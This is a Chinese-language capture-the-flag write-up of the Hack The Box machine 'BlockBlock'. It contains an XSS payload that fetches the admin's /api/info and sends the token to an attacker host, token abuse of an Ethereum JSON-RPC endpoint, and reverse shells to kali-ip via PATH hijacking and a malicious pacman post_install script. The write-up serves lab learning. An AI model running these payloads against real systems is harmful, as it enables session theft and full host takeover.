HTB_BlockBlock
linux(Hard)
信息收集
sudo nmap -sS -p---min-rate 10000-Pn10.10.11.43
sudo nmap -p22,80,8545-Pn-sCV 10.10.11.43
Server Werkzeug/3.0.3 Python/3.12.3
区块链聊天说是,注册登录后发送了一些消息,没回应;可以举报用户
个人档案处:
可能越权后能得到一些敏感信息
数据包还用了cors
http://10.10.11.43/api/contract_source
,两个合约代码
存在admin,存在一些函数
/api/info
可以看到账户本人的token、用户名等
/admin接口是401的,啧,那不得拿到admin的jwt
chat.sol
#onlyOwner
function getUserMessage
function getUserMessages
function getRecentUserMessages
function getUserMessagesCount
function receive()
Database.sol
function getAccount
function updatePassword
function updateRole
看看源代码,找找接口
let res =awaitfetch(`/api/get_user_messages?username=${username}`,
/api/get_user_messages?username=admin
// msg "Unauthorized"
curl http://10.10.11.43/api/get_user_messages?username=test-H "Content-Type: application/json"-H "Cookie:token=eyJh...U8"-v
#{"msg":"Unauthorized"}
#* shutting down connection #0
curl http://10.10.11.43/api/get_user_messages?username=admin -H "Content-Type: application/json" -H "Cookie:token=eyJh...U8" -v
爆破接口怕是有点悬噢
curl http://10.10.11.43:8545 -H "upgrade: websocket" -H "Cookie:token=eyJh...8" -v
8545端口服务呢,和以太坊有关,
https://learnblockchain.cn/article/3143
curl http://10.10.11.43:8545-H "Content-Type: application/json"-X POST --data '{"jsonrpc":"2.0","method":"eth_syncing","params":[],"id":1}'-H "Cookie:token=eyJhbGc...8"
{"error":"Proxy Couldn't verify token"}
(↓这步不需要,仅作记录)
工具是 ganache-cli
npm install -g ganache-cli
ganache-cli -h
curl http://127.0.0.1:8545-H "Content-Type: application/json"-X POST --data '{"jsonrpc":"2.0","method":"eth_syncing","params":[],"id":1}'
本地的话不需要什么token,看来是设置了的
https://github.com/trufflesuite/ganache-cli-archive
难不成要部署合约到本地,慢慢测试?
子域名爆破:
wfuzz -w /usr/share/wordlists/domains.txt -u http://10.10.11.43-H "Host:FUZZ.blockblock.htb"--hh 275856
木有,没办法,没token不行啊
回到web,试试聊天、举报用户功能处,xss反弹
<img src=x onerror=this.src="http://kali-ip/1.js?"+document.cookie>
但是并没有返回cookie
要是能让触发者先访问/api/info
,再将信息返回回来就好了
用Gpt帮忙生成了一个fetch语句,先用一个fetch试试,这是我在浏览器控制台发送后
<img src=x onerror="fetch('https://kali-ip:83/api/data', {headers: {'Content-Type':'application/x -www-form-urlencoded'}}).then(response => response.text()).then(data => console.log(data)).catch(error => console.error('Error:', error));">
嘶,为什么是乱码
后面改进了下是这样
fetch('http://10.10.11.43/api/info').then(response =>{return response.json();}).then(dataFromA =>{return fetch('http://kali-ip',{method:'POST',headers:{'Content-Type':'application/json'},body: JSON.stringify(dataFromA)});}).then(responseToB =>{return responseToB.text();})
但是我忘了,python -m http.server
搭建的服务器是不支持POST请求的,所以尝试将第二次fetch改为GET请求
后面发现用反引号 ,有效果
<img src=x onerror="fetch('http://10.10.11.43/api/info').then(response => {return response.json();}).then(dataFromA => {return fetch(`http://kali-ip:84/?d=${dataFromA}`)})">
尝试到这一步,也只是使得d=[object%20Object
]
将json改为text()即可,
<img src=x onerror="fetch('http://10.10.11.43/api/info').then(response => {return response.text();}).then(dataFromA => {return fetch(`http://kali-ip:84/?d=${dataFromA}`)})">
(我这里有个问题,如果是域名形式(blockblock.htb)的界面上发送xss,没东西的;所以尽量用IP形式登录后,再发送xss)
"role":"admin","token":"eyJhb...","username":"admin"}
去浏览器上修改token,再访问Admin接口即可
也没有什么特别的啊
但我记得一开始有一个接口 get_user_messages
,看看
http://10.10.11.43/api/get_user_messages?username=keira
但是500,
查看admin页面的源码
const jwtSecret =await(awaitfetch('/api/json-rpc')).json();
const web3 =newWeb3(window.origin+"/api/json-rpc");
const postsCountElement =document.getElementById('chat-posts-count');
let chatAddress =await(awaitfetch("/api/chat_address")).text();
let postsCount =0;
chatAddress =(chatAddress.replace(/[n"]/g,""));
// })();
// (async () => {
// let jwtSecret = await (await fetch('/api/json-rpc')).json();
let balance =awaitfetch(window.origin+"/api/json-rpc",{
method:'POST',
headers:{
'Content-Type':'application/json',
"token": jwtSecret['Authorization'],
},
body:JSON.stringify({
jsonrpc:"2.0",
method:"eth_getBalance",
params:[chatAddress,"latest"],
id:1
})
});
let bal =(await balance.json()).result// || '0';
console.log(bal)
document.getElementById('donations').innerText="$"+ web3.utils.fromWei(bal,
'ether')
})();
asyncfunctionDeleteUser(){
let username =document.getElementById('user-select').value;
console.log(username)
console.log('deleting user')
let res =awaitfetch('/api/delete_user',{
method:'POST',
headers:{
'Content-Type':'application/json',
},
body:JSON.stringify({
username: username
})
})
访问 /api/json-rpc
,得到Authorization,经过尝试得知是后面的token部分
Authorization"....17866e9ac6260..."
/api/chat_address
"0x38...6F2..."
后面直接构造POST请求的json-rpc接口
,先来到 http://10.10.11.43/admin
,直接该页面的浏览器控制台来
fetch('http://10.10.11.43/api/json-rpc',{method:'POST',headers:{'Content-Type':'application/json',"token":"....17866e9ac6260..."},body:JSON.stringify({jsonrpc:"2.0",method:"eth_getBalance",params:["0x38...6F2...","latest"],id:1})});
得到的就这:
https://docs.metamask.io/services/reference/ethereum/json-rpc-methods/eth_getwork/
https://ethereum.org/en/developers/docs/apis/json-rpc/
那不就可以参考下文档手册,看看有什么其它method,主要是为了暴露些历史数据
试了试method:eth_accounts
,
fetch('http://10.10.11.43/api/json-rpc',{method:'POST',headers:{'Content-Type':'application/json',"token":"....17866e9ac6260..."},body:JSON.stringify({jsonrpc:"2.0",method:"eth_accounts",params:[],id:1})});
fetch('http://10.10.11.43/api/json-rpc',{method:'POST',headers:{'Content-Type':'application/json',"token":"....17866e9ac6260..."},body:JSON.stringify({jsonrpc:"2.0",method:"eth_blockNumber",params:[],id:1})});
fetch('http://10.10.11.43/api/json-rpc',{method:'POST',headers:{'Content-Type':'application/json',"token":"....17866e9ac6260..."},body:JSON.stringify({jsonrpc:"2.0",method:"eth_getCode",params:["0xb....","0xf"],id:1})});
0x...8e7f804cd...f033...
fetch('http://10.10.11.43/api/json-rpc',{method:'POST',headers:{'Content-Type':'application/json',"token":"....17866e9ac6260..."},body:JSON.stringify({jsonrpc:"2.0",method:"eth_blockNumber",params:[],id:1})});
最后是看这个method eth_getBlockByNumber
fetch('http://10.10.11.43/api/json-rpc',{method:'POST',headers:{'Content-Type':'application/json',"token":"....17866e9ac6260..."},body:JSON.stringify({jsonrpc:"2.0",method:"eth_getBlockByNumber",params:["0xf",flase],id:1})});
后来发现要改为true,这样才有完整input
....params:["0xf",true],id:1})});...
搜了一下 Ethereum hash decode
https://lab.miguelmota.com/ethereum-input-data-decoder/example/
需要一个ABI进行解密,ABI是什么:https://learnblockchain.cn/article/8761
(记录需要,实际做题ABI这部分都不需要,npm和solcjs也不需要安装,直接跳过)
ABI提供了合约方法和事件的精确定义,确保数据的正确编码和解码
安装了npm之后呢,还要安装 sudo npm install -g solc
solcjs --abi Database.sol -o .
生成了两个abi文件,我用了Database的那个decode
不起作用,那估计还是ABI有问题,说是输入数据的methodId
不匹配任何ABI定义的函数
好的,这次我又让GPT把chat.sol格式整理出来,再用solcjs
重新生成一遍abi,新生成的chat.abi是可用的
这次看到的输入是发送消息 ,tset
是我注册的用户名,
所以到头来,只有这一个块号(blocknumber)?尝试切换其它number,比如0x0,0x1
..."eth_getBlockByNumber",params:["0x1",flase],id:1}...
这时候返回来的Input数据很多,但偏偏不能decode,decode结果是这样:
还是ABI的问题?
https://live.bilibili.com/1089522 B站Saikawings师傅给了方法:直接解密hex数据
https://www.ddosi.org/code/,因为是十六进制,直接进行unhex,得到keira密码
ssh即可
keira-shell
sudo -l
(paul : paul) NOPASSWD:/home/paul/.foundry/bin/forge
sudo命令意味着可以借用到paul用户的身份
foundry/bin/forge
https://book.getfoundry.sh/reference/forge/forge
意味着可以伪造一个恶意合约进行利用?
下面的命令没用
sudo -u paul /home/paul/.foundry/bin/forge init /tmp --no-git --offline
sudo -u paul /home/paul/.foundry/bin/forge create Counter.sol:2--constructor-args "bash -i >& /dev/tcp/kali-ip/4343 0>&1"
看看能否构造一个能代码执行的sol文件,查了一会,合约没这种洞,那还不如找其它的命令
D师傅的路径劫持反弹shell,对我无用
echo-e '#!/bin/bashnbash -i >& /dev/tcp/kali-ip/4343 0>&1'>/tmp/forge;chmod777/tmp/forge;export PATH=/tmp:$PATH;sudo -u paul /home/paul/.foundry/bin/forge completions bash
#env | grep PATH
不是哥们,你。。。还能不能玩啦!
嘶,按理说PATH劫持没问题啊
echo-e '#!/bin/bashnbash -i >& /dev/tcp/kali-ip/4343 0>&1'>/tmp/forge;chmod777/tmp/forge;export PATH=/tmp:$PATH;sudo -u paul /home/paul/.foundry/bin/forge completions bash
好吧,arena的vpn不行,换个普通VPN就可以了,啧
paul-shell
sudo -l
(ALL : ALL) NOPASSWD:/usr/bin/pacman
那就是pacman的利用了
问问Gpt,即可
Pacman 支持安装和卸载软件包时运行自定义脚本(如
install
、post_install
脚本)。可以利用这一功能植入恶意脚本
mkdir/tmp/fakepkg;cd/tmp/fakepkg;cat> PKGBUILD <<EOF
pkgname=fakepkg
pkgver=1.0
pkgrel=1
arch=('x86_64')
pkgdesc="Malicious package"
license=('GPL')
install=fakepkg.install
EOF
cat> fakepkg.install <<EOF
post_install(){
bash -i >&/dev/tcp/kali-ip/34340>&1
}
EOF
makepkg -f
sudo /usr/bin/pacman -U fakepkg-1.0-1-x86_64.pkg.tar.zst
总结
user.txt:
80端口,fetch触发的XSS反弹->admin页面源码->接口利用->hex解密->keira-shell
root.txt:
keira->paul,sudo 利用,PATH劫持
paul->root,sudo 利用+GPT
主要是fetch触发的XSS反弹,以及hex解密+sudo提权
参考
wp:B站Saikawings,https://live.bilibili.com/1089522
wp2:师傅们讨论的蛛丝马迹
https://book.hacktricks.xyz/crypto-and-stego/blockchain-and-crypto-currencies
https://ethereum.org/en/developers/docs/apis/json-rpc/
https://learnblockchain.cn/article/8761
ethereum-input-data-decoder: https://lab.miguelmota.com/ethereum-input-data-decoder/example/
原文始发于微信公众号(羽泪云小栈):HTB_BlockBlock
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论